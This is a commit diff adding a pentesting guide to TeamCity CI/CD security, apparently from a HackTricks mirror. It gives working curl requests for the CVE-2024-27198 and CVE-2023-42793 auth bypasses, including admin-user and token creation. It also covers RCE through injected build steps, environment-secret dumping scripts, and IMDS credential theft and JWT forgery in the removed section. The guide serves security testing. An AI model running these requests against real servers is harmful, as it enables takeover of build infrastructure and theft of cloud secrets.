mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-06-12 19:11:44 -07:00
Add TeamCity CI/CD pentesting section
This commit is contained in:
@@ -28,6 +28,7 @@
|
|||||||
- [CircleCI Security](pentesting-ci-cd/circleci-security.md)
|
- [CircleCI Security](pentesting-ci-cd/circleci-security.md)
|
||||||
- [TravisCI Security](pentesting-ci-cd/travisci-security/README.md)
|
- [TravisCI Security](pentesting-ci-cd/travisci-security/README.md)
|
||||||
- [Basic TravisCI Information](pentesting-ci-cd/travisci-security/basic-travisci-information.md)
|
- [Basic TravisCI Information](pentesting-ci-cd/travisci-security/basic-travisci-information.md)
|
||||||
|
- [TeamCity Security](pentesting-ci-cd/teamcity-security/README.md)
|
||||||
- [Jenkins Security](pentesting-ci-cd/jenkins-security/README.md)
|
- [Jenkins Security](pentesting-ci-cd/jenkins-security/README.md)
|
||||||
- [Basic Jenkins Information](pentesting-ci-cd/jenkins-security/basic-jenkins-information.md)
|
- [Basic Jenkins Information](pentesting-ci-cd/jenkins-security/basic-jenkins-information.md)
|
||||||
- [Jenkins RCE with Groovy Script](pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md)
|
- [Jenkins RCE with Groovy Script](pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md)
|
||||||
|
|||||||
@@ -106,118 +106,6 @@ Compromising a CI/CD pipeline or stealing credentials from it can let an attacke
|
|||||||
- If a compromised package is suspected, inspect the published tarball and not only the Git repository, because the malicious loader/runtime may exist only in the published artifact.
|
- If a compromised package is suspected, inspect the published tarball and not only the Git repository, because the malicious loader/runtime may exist only in the published artifact.
|
||||||
- Hunt for unexpected package-manager execution inside CI such as `npm install` instead of `npm ci`, unexpected Bun downloads/execution, or new workflow artifacts generated from transient branches.
|
- Hunt for unexpected package-manager execution inside CI such as `npm install` instead of `npm ci`, unexpected Bun downloads/execution, or new workflow artifacts generated from transient branches.
|
||||||
|
|
||||||
## TeamCity: public CI/CD to cloud/internal pivoting
|
|
||||||
|
|
||||||
A **publicly exposed TeamCity** should be treated as a potential **bridge into production credentials, cloud roles, and private subnets**. A practical attack chain is:
|
|
||||||
|
|
||||||
1. **Fingerprint TeamCity and test unauthenticated REST access.** In vulnerable TeamCity On-Prem versions **through 2023.11.3**, the auth bypass **CVE-2024-27198** can route requests through:
|
|
||||||
|
|
||||||
```http
|
|
||||||
GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1
|
|
||||||
Host: <teamcity>:8111
|
|
||||||
Accept: application/json
|
|
||||||
```
|
|
||||||
|
|
||||||
If the response returns server metadata without a session, the instance is likely exploitable.
|
|
||||||
|
|
||||||
2. **Mint a persistent admin API token.** After confirming the bypass, create a token for a privileged user and switch to authenticated API abuse:
|
|
||||||
|
|
||||||
```http
|
|
||||||
POST /hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp HTTP/1.1
|
|
||||||
Host: <teamcity>:8111
|
|
||||||
Accept: application/json
|
|
||||||
Content-Type: application/json
|
|
||||||
|
|
||||||
```
|
|
||||||
|
|
||||||
3. **Dump build parameters and project secrets.** TeamCity projects often store **database URLs, deploy keys, JWT secrets, SaaS tokens, and cloud credentials** in cleartext parameters:
|
|
||||||
|
|
||||||
```http
|
|
||||||
GET /app/rest/projects/id:BackendApi/parameters HTTP/1.1
|
|
||||||
Authorization: Bearer <teamcity_token>
|
|
||||||
Accept: application/json
|
|
||||||
```
|
|
||||||
|
|
||||||
4. **Execute commands on build agents.** If you can create or modify a build configuration, the build agent becomes your execution proxy. Use it to dump environment variables, read mounted files, and query local metadata/services.
|
|
||||||
|
|
||||||
### TeamCity build agents on EC2: steal IMDS credentials
|
|
||||||
|
|
||||||
If the build agent runs on **EC2**, command execution often means **instance-profile credential theft**. For **IMDSv1**:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
IMDS_ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
|
||||||
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IMDS_ROLE"
|
|
||||||
```
|
|
||||||
|
|
||||||
With the temporary credentials, validate **real impact** instead of stopping at discovery:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
aws s3 ls
|
|
||||||
aws ssm describe-parameters
|
|
||||||
aws ssm get-parameter --name /prod/jwt-secret --with-decryption
|
|
||||||
aws ec2 describe-instances
|
|
||||||
aws rds describe-db-instances
|
|
||||||
```
|
|
||||||
|
|
||||||
Interesting loot after a CI/CD compromise:
|
|
||||||
|
|
||||||
- **S3 buckets** holding SQL dumps, build artifacts, legacy `.env` files, or static IAM keys
|
|
||||||
- **SSM Parameter Store** values with production secrets and internal hostnames
|
|
||||||
- **EC2 user-data** disclosing bootstrap credentials or deployment scripts
|
|
||||||
- **Describe** permissions that reveal private hosts, subnets, and RDS endpoints for the next pivot
|
|
||||||
|
|
||||||
> [!TIP]
|
|
||||||
> If you only need metadata from the instance itself, you can also inspect **EC2 user-data** and **instance profiles** from the stolen role using the AWS enumeration pages linked from the AWS section.
|
|
||||||
|
|
||||||
### Pivot into private services through the build agent
|
|
||||||
|
|
||||||
Do not treat a private subnet as a security boundary if the CI/CD agent already has legitimate reachability to it. The **build job itself** can be used as a **proxy** to enumerate and access internal HTTP services:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
for path in /health /api/v1/orders /admin /metrics /debug /internal; do
|
|
||||||
curl -s -H "Authorization: Bearer $JWT" "http://internal-host:5000${path}"
|
|
||||||
done
|
|
||||||
```
|
|
||||||
|
|
||||||
This is especially useful after stealing a **shared HS256 JWT secret** from TeamCity parameters, SSM, user-data, or artifacts. Once the secret is known, **JWT claims are attacker-controlled input** even though the token is validly signed:
|
|
||||||
|
|
||||||
```python
|
|
||||||
import jwt, time
|
|
||||||
secret = 'hs256-internal-svc-do-not-share-2024'
|
|
||||||
payload = {'sub': 'admin', 'role': 'admin', 'iat': int(time.time()), 'exp': int(time.time()) + 86400}
|
|
||||||
print(jwt.encode(payload, secret, algorithm='HS256'))
|
|
||||||
```
|
|
||||||
|
|
||||||
Abuse paths after JWT forgery:
|
|
||||||
|
|
||||||
- Access internal endpoints that only check for a valid signature or `Authorization` header
|
|
||||||
- Escalate to admin-only routes when role/claim validation is weak
|
|
||||||
- Turn signed claims such as `sub` into a **SQL injection** vector if they are concatenated into backend queries
|
|
||||||
|
|
||||||
A raw error such as `invalid input syntax for type integer` plus leaked SQL like `WHERE user_id = 'admin'` strongly suggests the JWT claim is reaching SQL unsafely.
|
|
||||||
|
|
||||||
### TeamCity-specific dangerous debug surface
|
|
||||||
|
|
||||||
If `internal.properties` enables:
|
|
||||||
|
|
||||||
```properties
|
|
||||||
rest.debug.database.allow.query.prefixes=select
|
|
||||||
```
|
|
||||||
|
|
||||||
an attacker with an admin token can query TeamCity's internal database via REST and dump data such as user password hashes:
|
|
||||||
|
|
||||||
```http
|
|
||||||
GET /app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS HTTP/1.1
|
|
||||||
Authorization: Bearer <teamcity_token>
|
|
||||||
```
|
|
||||||
|
|
||||||
### Practical assessment takeaways
|
|
||||||
|
|
||||||
- A **TeamCity auth bypass** is rarely "just" a CI bug; it is often the **entry point** to cloud, secrets, and internal network compromise.
|
|
||||||
- A **scanner hit** (for example, a Nuclei template) should be followed by **token minting, secret review, build-agent execution, IMDS checks, cloud enumeration, and private-subnet pivoting**.
|
|
||||||
- Defensively, require **IMDSv2** with `HttpTokens=required`, avoid storing long-lived secrets in TeamCity parameters, and disable dangerous debug database query features.
|
|
||||||
|
|
||||||
## More relevant info
|
|
||||||
## More relevant info
|
## More relevant info
|
||||||
|
|
||||||
### Tools & CIS Benchmark
|
### Tools & CIS Benchmark
|
||||||
@@ -239,9 +127,6 @@ Check this interesting article about the top 10 CI/CD risks according to Cider:
|
|||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [JetBrains TeamCity: Additional Critical Security Issues Affecting TeamCity On-Premises (CVE-2024-27198 and CVE-2024-27199)](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
|
|
||||||
- [AWS CLI: modify-instance-metadata-options](https://docs.aws.amazon.com/en_us/cli/latest/reference/ec2/modify-instance-metadata-options.html)
|
|
||||||
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
|
|
||||||
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
|
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
|
||||||
- [The npm Threat Landscape: Attack Surface and Mitigations](https://unit42.paloaltonetworks.com/monitoring-npm-supply-chain-attacks/)
|
- [The npm Threat Landscape: Attack Surface and Mitigations](https://unit42.paloaltonetworks.com/monitoring-npm-supply-chain-attacks/)
|
||||||
- [Checkmarx Security Update: April 22, 2026](https://checkmarx.com/blog/checkmarx-security-update-april-22/?p=108469)
|
- [Checkmarx Security Update: April 22, 2026](https://checkmarx.com/blog/checkmarx-security-update-april-22/?p=108469)
|
||||||
|
|||||||
@@ -0,0 +1,740 @@
|
|||||||
|
# TeamCity Security
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Basic Information
|
||||||
|
|
||||||
|
[TeamCity](https://www.jetbrains.com/teamcity/) is JetBrains' CI/CD server. It can run as **TeamCity Cloud** or as **TeamCity On-Premises**. In real environments the on-premises product is the most interesting target because it is commonly connected to private repositories, deployment credentials, internal networks, and cloud build agents.
|
||||||
|
|
||||||
|
A TeamCity installation is usually composed of:
|
||||||
|
|
||||||
|
- **TeamCity server**: the Java web application and scheduler. It stores users, permissions, projects, build configurations, VCS roots, tokens, artifacts metadata, build history, and integrations. The default HTTP port is **8111**.
|
||||||
|
- **Projects and subprojects**: containers for build configurations, templates, parameters, VCS roots, connections, and permissions.
|
||||||
|
- **Build configurations**: jobs that define VCS checkout rules, triggers, build steps, agent requirements, artifact rules, snapshot dependencies, and artifact dependencies.
|
||||||
|
- **Pipelines / Kotlin DSL / XML settings**: build configuration can be managed in the UI or stored in VCS, commonly in a `.teamcity/` directory using Kotlin DSL.
|
||||||
|
- **Build agents**: worker machines that poll the server, checkout code, receive build settings and secrets, run build steps, and publish logs/artifacts back to the server. An agent normally runs one build at a time and can be physical, VM, container, or cloud-launched.
|
||||||
|
- **Agent pools**: a way to restrict which projects can run on which agents. This is critical when public/untrusted builds and production deployment builds coexist.
|
||||||
|
- **VCS roots and connections**: GitHub, GitLab, Bitbucket, Azure DevOps, Perforce, Subversion, and other repository integrations. These often hold PATs, refreshable tokens, SSH keys, or OAuth-backed tokens.
|
||||||
|
- **Build parameters**: values available to configurations and builds. `env.*` parameters become environment variables, `system.*` parameters become system properties, and password parameters are masked but still usable by build code.
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> TeamCity itself documents that users who can change code executed by builds can do what the build-agent OS user can do, access resources on the agent, retrieve settings of configurations where their builds run, and potentially affect other projects sharing the same agent.
|
||||||
|
|
||||||
|
## Interesting Ports, Paths & Files
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Common TeamCity web ports
|
||||||
|
8111/tcp # Default HTTP TeamCity server
|
||||||
|
80/tcp # Often reverse-proxied TeamCity
|
||||||
|
443/tcp # HTTPS reverse proxy or configured HTTPS
|
||||||
|
```
|
||||||
|
|
||||||
|
Interesting URLs:
|
||||||
|
|
||||||
|
```text
|
||||||
|
/login.html
|
||||||
|
/app/rest/server
|
||||||
|
/app/rest/swagger.json
|
||||||
|
/guestAuth/app/rest/server
|
||||||
|
/guestAuth/repository/download/<BuildConfig>/<BuildID>:id/<artifact>
|
||||||
|
/admin/admin.html
|
||||||
|
/admin/diagnostic.jsp
|
||||||
|
/admin/agents.html
|
||||||
|
/admin/plugins.html
|
||||||
|
```
|
||||||
|
|
||||||
|
Interesting local paths after server compromise:
|
||||||
|
|
||||||
|
```text
|
||||||
|
# Linux defaults seen in common installs
|
||||||
|
/opt/TeamCity/logs/
|
||||||
|
/opt/TeamCity/webapps/ROOT/plugins/
|
||||||
|
/home/teamcity/.BuildServer/config/
|
||||||
|
/home/teamcity/.BuildServer/plugins/
|
||||||
|
/home/teamcity/.BuildServer/system/artifacts/
|
||||||
|
/home/teamcity/.BuildServer/system/buildserver.data
|
||||||
|
|
||||||
|
# Windows defaults seen in common installs
|
||||||
|
C:\TeamCity\logs\
|
||||||
|
C:\TeamCity\webapps\ROOT\plugins\
|
||||||
|
C:\ProgramData\JetBrains\TeamCity\config\
|
||||||
|
C:\ProgramData\JetBrains\TeamCity\plugins\
|
||||||
|
C:\ProgramData\JetBrains\TeamCity\system\artifacts\
|
||||||
|
C:\ProgramData\JetBrains\TeamCity\system\buildserver.data
|
||||||
|
```
|
||||||
|
|
||||||
|
Interesting local paths after agent compromise:
|
||||||
|
|
||||||
|
```text
|
||||||
|
<AGENT_HOME>/conf/buildAgent.properties
|
||||||
|
<AGENT_HOME>/logs/
|
||||||
|
<AGENT_HOME>/work/
|
||||||
|
<AGENT_HOME>/temp/
|
||||||
|
<AGENT_HOME>/system/
|
||||||
|
~/.git-credentials
|
||||||
|
~/.ssh/
|
||||||
|
~/.docker/config.json
|
||||||
|
~/.npmrc
|
||||||
|
~/.m2/settings.xml
|
||||||
|
~/.aws/
|
||||||
|
~/.config/gcloud/
|
||||||
|
```
|
||||||
|
|
||||||
|
## TeamCity Permissions To Care About
|
||||||
|
|
||||||
|
The exact permission model can be customized, but the important default roles are:
|
||||||
|
|
||||||
|
- **System Administrator**: full server control. Assume server OS compromise is possible because admins can change server settings, upload plugins, and access diagnostics.
|
||||||
|
- **Project Administrator**: controls a project and can usually create/edit build configurations, parameters, VCS roots, features, triggers, and agent requirements inside that project.
|
||||||
|
- **Project Developer**: can usually view configuration settings, run builds, and interact with build results. This can still be sensitive because configuration settings and runtime data often disclose secrets.
|
||||||
|
- **Project Viewer / Guest**: read-only access may still expose build logs, artifacts, project names, branch names, internal hostnames, and dependency paths.
|
||||||
|
|
||||||
|
> [!TIP]
|
||||||
|
> During a pentest, do not stop at "low-privileged TeamCity user". Check whether that user can run custom builds, select branches, customize parameters, view settings, view runtime parameters, download artifacts, or trigger deployment configurations.
|
||||||
|
|
||||||
|
## Initial Enumeration
|
||||||
|
|
||||||
|
### Fingerprint Exposed TeamCity
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export TC="http://teamcity.example.com:8111"
|
||||||
|
|
||||||
|
curl -i "$TC/login.html"
|
||||||
|
curl -i "$TC/app/rest/server"
|
||||||
|
curl -i "$TC/guestAuth/app/rest/server"
|
||||||
|
curl -s "$TC/app/rest/swagger.json" | head
|
||||||
|
```
|
||||||
|
|
||||||
|
Useful signs:
|
||||||
|
|
||||||
|
- `TeamCity-Node-Id` HTTP header.
|
||||||
|
- Login page branding.
|
||||||
|
- `/app/rest/server` returns `401` when authentication is required.
|
||||||
|
- `/guestAuth/app/rest/server` works if guest access is enabled.
|
||||||
|
|
||||||
|
### REST API Enumeration With A Token
|
||||||
|
|
||||||
|
TeamCity REST API commonly uses `Authorization: Bearer <token>`.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export TC="https://teamcity.example.com"
|
||||||
|
export TCTOKEN="TC..."
|
||||||
|
|
||||||
|
alias tcurl='curl -sk -H "Authorization: Bearer $TCTOKEN" -H "Accept: application/json"'
|
||||||
|
|
||||||
|
tcurl "$TC/app/rest/server"
|
||||||
|
tcurl "$TC/app/rest/users/current"
|
||||||
|
tcurl "$TC/app/rest/users/current/roles"
|
||||||
|
tcurl "$TC/app/rest/projects?fields=project(id,name,parentProjectId,href,webUrl)"
|
||||||
|
tcurl "$TC/app/rest/buildTypes?fields=buildType(id,name,projectId,paused,webUrl)"
|
||||||
|
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
|
||||||
|
tcurl "$TC/app/rest/agents?fields=agent(id,name,type,connected,enabled,authorized,ip,href,pool(name),properties(property(name,value)))"
|
||||||
|
tcurl "$TC/app/rest/agentPools"
|
||||||
|
tcurl "$TC/app/rest/builds?locator=count:20&fields=build(id,number,status,state,branchName,buildTypeId,webUrl)"
|
||||||
|
```
|
||||||
|
|
||||||
|
For a build configuration:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export BT="id:Project_Build"
|
||||||
|
|
||||||
|
tcurl "$TC/app/rest/buildTypes/$BT"
|
||||||
|
tcurl "$TC/app/rest/buildTypes/$BT/parameters"
|
||||||
|
tcurl "$TC/app/rest/buildTypes/$BT/steps"
|
||||||
|
tcurl "$TC/app/rest/buildTypes/$BT/features"
|
||||||
|
tcurl "$TC/app/rest/buildTypes/$BT/triggers"
|
||||||
|
tcurl "$TC/app/rest/buildTypes/$BT/agent-requirements"
|
||||||
|
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
|
||||||
|
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
|
||||||
|
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Guest Access Abuse
|
||||||
|
|
||||||
|
If guest login is enabled, TeamCity supports `/guestAuth/` URLs. By default, guest users have Project Viewer role for all projects unless changed.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -sk "$TC/guestAuth/app/rest/projects"
|
||||||
|
curl -sk "$TC/guestAuth/app/rest/buildTypes"
|
||||||
|
curl -sk "$TC/guestAuth/app/rest/builds?locator=count:50"
|
||||||
|
```
|
||||||
|
|
||||||
|
Look for:
|
||||||
|
|
||||||
|
- Build logs with secrets accidentally printed.
|
||||||
|
- Artifacts containing `.env`, packages, SBOMs, deployment manifests, Terraform plans, kubeconfigs, test reports, database dumps, or internal URLs.
|
||||||
|
- Project/build names that reveal cloud account names, production systems, regions, or internal service names.
|
||||||
|
- Commit metadata that identifies privileged developers or service users.
|
||||||
|
|
||||||
|
Example artifact download format:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -O "$TC/guestAuth/repository/download/Project_Build/12345:id/artifact.zip"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Attacks
|
||||||
|
|
||||||
|
### Unauthenticated Takeover: CVE-2024-27198 / CVE-2024-27199
|
||||||
|
|
||||||
|
TeamCity On-Premises versions **through 2023.11.3** were affected by two authentication bypasses fixed in **2023.11.4**. CVE-2024-27198 is the critical one because it can expose authenticated REST endpoints to unauthenticated attackers.
|
||||||
|
|
||||||
|
Fingerprint the bypass with a harmless authenticated endpoint:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -ik "$TC/hax?jsp=/app/rest/server;.jsp"
|
||||||
|
```
|
||||||
|
|
||||||
|
If server metadata is returned without authentication, the instance is vulnerable. A common takeover path is to create an admin user or mint a token for an existing admin user:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -ik "$TC/hax?jsp=/app/rest/users;.jsp" \
|
||||||
|
-X POST \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
--data '{"username":"tc-redteam","password":"ChangeMe-12345!","email":"tc-redteam@example.com","roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}}'
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -ik "$TC/hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp" -X POST
|
||||||
|
```
|
||||||
|
|
||||||
|
After this, continue as an authenticated TeamCity administrator: enumerate projects, collect secrets, execute builds on agents, inspect artifacts, and check cloud access from agents.
|
||||||
|
|
||||||
|
### Unauthenticated Takeover: CVE-2023-42793
|
||||||
|
|
||||||
|
TeamCity On-Premises versions before **2023.05.4** were affected by CVE-2023-42793. The practical impact was unauthenticated administrator-level access and RCE through TeamCity APIs. The widely abused path involved token creation through a route ending in `/RPC2`.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -ik -X POST "$TC/app/rest/users/id:1/tokens/RPC2"
|
||||||
|
```
|
||||||
|
|
||||||
|
If you are assessing incident impact, check for suspicious token creation, admin account creation, plugin upload/delete events, and process execution around the exposure window.
|
||||||
|
|
||||||
|
### Admin RCE By Uploading A Plugin
|
||||||
|
|
||||||
|
TeamCity server plugins are ZIP packages that extend server functionality. A System Administrator can upload a plugin from the UI under **Administration -> Plugins**, load it, and execute server-side Java code.
|
||||||
|
|
||||||
|
Abuse cases:
|
||||||
|
|
||||||
|
- Upload a malicious plugin for direct RCE on the **TeamCity server**, not just an agent.
|
||||||
|
- Use plugin load/delete as a short-lived execution path.
|
||||||
|
- Establish persistence through a plugin that looks like an internal integration.
|
||||||
|
|
||||||
|
Evidence to inspect:
|
||||||
|
|
||||||
|
```text
|
||||||
|
teamcity-activities.log
|
||||||
|
teamcity-server.log
|
||||||
|
<TeamCity Data Directory>/plugins/
|
||||||
|
<TeamCity Data Directory>/config/disabled-plugins.xml
|
||||||
|
<TeamCity Data Directory>/system/caches/plugins.unpacked/
|
||||||
|
<TeamCity Home>/webapps/ROOT/plugins/
|
||||||
|
```
|
||||||
|
|
||||||
|
### RCE By Creating Or Modifying Build Steps
|
||||||
|
|
||||||
|
If you can create or edit a build configuration, a TeamCity agent is your command execution target. The **Command Line / Script** runner is the most direct option.
|
||||||
|
|
||||||
|
Add a command line step through REST:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -sk "$TC/app/rest/buildTypes/$BT/steps" \
|
||||||
|
-X POST \
|
||||||
|
-H "Authorization: Bearer $TCTOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-H "Accept: application/json" \
|
||||||
|
--data '{
|
||||||
|
"name": "diagnostics",
|
||||||
|
"type": "simpleRunner",
|
||||||
|
"properties": {
|
||||||
|
"property": [
|
||||||
|
{"name": "script.content", "value": "id; uname -a; env | sort"}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}'
|
||||||
|
```
|
||||||
|
|
||||||
|
Start the build:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -sk "$TC/app/rest/buildQueue" \
|
||||||
|
-X POST \
|
||||||
|
-H "Authorization: Bearer $TCTOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-H "Accept: application/json" \
|
||||||
|
--data '{"buildType":{"id":"Project_Build"}}'
|
||||||
|
```
|
||||||
|
|
||||||
|
Useful first commands on an agent:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
id
|
||||||
|
hostname
|
||||||
|
pwd
|
||||||
|
env | sort
|
||||||
|
mount
|
||||||
|
ip addr || ifconfig
|
||||||
|
ip route || route print
|
||||||
|
find "$PWD" -maxdepth 3 -type f -name "*.env" -o -name "settings.xml" -o -name "config.json"
|
||||||
|
```
|
||||||
|
|
||||||
|
Windows agents:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
whoami /all
|
||||||
|
hostname
|
||||||
|
Get-ChildItem Env: | Sort-Object Name
|
||||||
|
ipconfig /all
|
||||||
|
route print
|
||||||
|
Get-ChildItem -Recurse -Force $env:USERPROFILE\.ssh,$env:USERPROFILE\.aws -ErrorAction SilentlyContinue
|
||||||
|
```
|
||||||
|
|
||||||
|
### Target A More Interesting Agent
|
||||||
|
|
||||||
|
Build configurations can have agent requirements, and custom builds may allow selecting a specific agent. This matters when one agent has production network reachability, Docker access, mobile signing keys, cloud roles, or deployment tooling.
|
||||||
|
|
||||||
|
Enumerate compatible agents:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents?fields=agent(id,name,ip,pool(name),properties(property(name,value)))"
|
||||||
|
```
|
||||||
|
|
||||||
|
Queue a build on a specific agent if your permissions allow it:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -sk "$TC/app/rest/buildQueue" \
|
||||||
|
-X POST \
|
||||||
|
-H "Authorization: Bearer $TCTOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-H "Accept: application/json" \
|
||||||
|
--data '{"buildType":{"id":"Project_Build"},"agent":{"id":"42"}}'
|
||||||
|
```
|
||||||
|
|
||||||
|
Or add an agent requirement to force a valuable agent class:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -sk "$TC/app/rest/buildTypes/$BT/agent-requirements" \
|
||||||
|
-X POST \
|
||||||
|
-H "Authorization: Bearer $TCTOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-H "Accept: application/json" \
|
||||||
|
--data '{
|
||||||
|
"type":"equals",
|
||||||
|
"properties":{"property":[
|
||||||
|
{"name":"property-name","value":"teamcity.agent.name"},
|
||||||
|
{"name":"property-value","value":"prod-deploy-agent-01"}
|
||||||
|
]}
|
||||||
|
}'
|
||||||
|
```
|
||||||
|
|
||||||
|
### Dump Build Parameters & Password Parameters
|
||||||
|
|
||||||
|
Parameters are inherited from projects and templates, so enumerate both project and build configuration scopes:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
tcurl "$TC/app/rest/projects/id:Project/parameters"
|
||||||
|
tcurl "$TC/app/rest/buildTypes/id:Project_Build/parameters"
|
||||||
|
```
|
||||||
|
|
||||||
|
Interesting names:
|
||||||
|
|
||||||
|
```text
|
||||||
|
env.AWS_ACCESS_KEY_ID
|
||||||
|
env.AWS_SECRET_ACCESS_KEY
|
||||||
|
env.GITHUB_TOKEN
|
||||||
|
env.NPM_TOKEN
|
||||||
|
env.DOCKER_AUTH_CONFIG
|
||||||
|
system.deploy.password
|
||||||
|
system.oauth.clientSecret
|
||||||
|
vcsroot.<id>.password
|
||||||
|
teamcity.configuration.properties.file
|
||||||
|
```
|
||||||
|
|
||||||
|
Important caveats:
|
||||||
|
|
||||||
|
- Password parameters are masked in UI/logs but any code that legitimately receives them can exfiltrate or transform them.
|
||||||
|
- Project administrators can often retrieve raw parameter values through settings access.
|
||||||
|
- TeamCity security notes warn that users who can modify build code can retrieve password values used by that build.
|
||||||
|
- If versioned settings are stored in VCS, users with access to the settings repo may recover values from scrambled/encrypted settings depending on the server encryption configuration and key exposure.
|
||||||
|
|
||||||
|
Build-step exfil pattern:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 - <<'PY'
|
||||||
|
import base64, os, json
|
||||||
|
interesting = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["TOKEN","SECRET","PASSWORD","KEY","AWS","AZURE","GOOGLE","GITHUB","NPM","DOCKER"])}
|
||||||
|
print(base64.b64encode(json.dumps(interesting).encode()).decode())
|
||||||
|
PY
|
||||||
|
```
|
||||||
|
|
||||||
|
### Poison Versioned Settings / Kotlin DSL
|
||||||
|
|
||||||
|
If versioned settings are enabled and you can write to the branch/repository TeamCity trusts for `.teamcity/`, you can modify the pipeline definition itself.
|
||||||
|
|
||||||
|
Typical targets:
|
||||||
|
|
||||||
|
- Add a new `script` step to a build configuration.
|
||||||
|
- Change `agentRequirements` to run on a more privileged agent.
|
||||||
|
- Add artifact rules to publish sensitive files.
|
||||||
|
- Add snapshot/artifact dependencies to pull data from another build.
|
||||||
|
- Add VCS triggers for persistence.
|
||||||
|
- Change VCS roots or checkout rules.
|
||||||
|
|
||||||
|
Minimal Kotlin DSL malicious step:
|
||||||
|
|
||||||
|
```kotlin
|
||||||
|
import jetbrains.buildServer.configs.kotlin.*
|
||||||
|
import jetbrains.buildServer.configs.kotlin.buildSteps.script
|
||||||
|
|
||||||
|
object Build : BuildType({
|
||||||
|
name = "Build"
|
||||||
|
steps {
|
||||||
|
script {
|
||||||
|
name = "diagnostics"
|
||||||
|
scriptContent = "id; env | base64"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
```
|
||||||
|
|
||||||
|
> [!CAUTION]
|
||||||
|
> This is one of the highest-impact TeamCity misconfigurations: storing build settings in the same repository as application source means anyone who can alter that source branch may be able to alter the CI/CD control plane.
|
||||||
|
|
||||||
|
### Pull Request / Untrusted Build Abuse
|
||||||
|
|
||||||
|
TeamCity can build pull requests from GitHub, GitLab, Bitbucket, Azure DevOps, and JetBrains Space. If a public repository is configured to build pull requests from **Everybody**, an external attacker may get code execution on a TeamCity agent by opening a PR.
|
||||||
|
|
||||||
|
Check for:
|
||||||
|
|
||||||
|
- Pull Requests build feature with permissive author filters.
|
||||||
|
- VCS triggers matching pull request branches such as `refs/pull/*`.
|
||||||
|
- Missing or disabled **Untrusted Builds** review.
|
||||||
|
- PR builds running on the same pools as trusted/prod builds.
|
||||||
|
- Password parameters or deployment credentials available to PR builds.
|
||||||
|
- Versioned settings loaded from PR branches.
|
||||||
|
|
||||||
|
Abuse primitives from untrusted code:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
env | sort
|
||||||
|
echo "##teamcity[publishArtifacts '$PWD => workspace.zip']"
|
||||||
|
echo "##teamcity[setParameter name='env.PATH' value='/tmp/bin:%env.PATH%']"
|
||||||
|
```
|
||||||
|
|
||||||
|
Also review build scripts that interpolate PR-controlled values:
|
||||||
|
|
||||||
|
```text
|
||||||
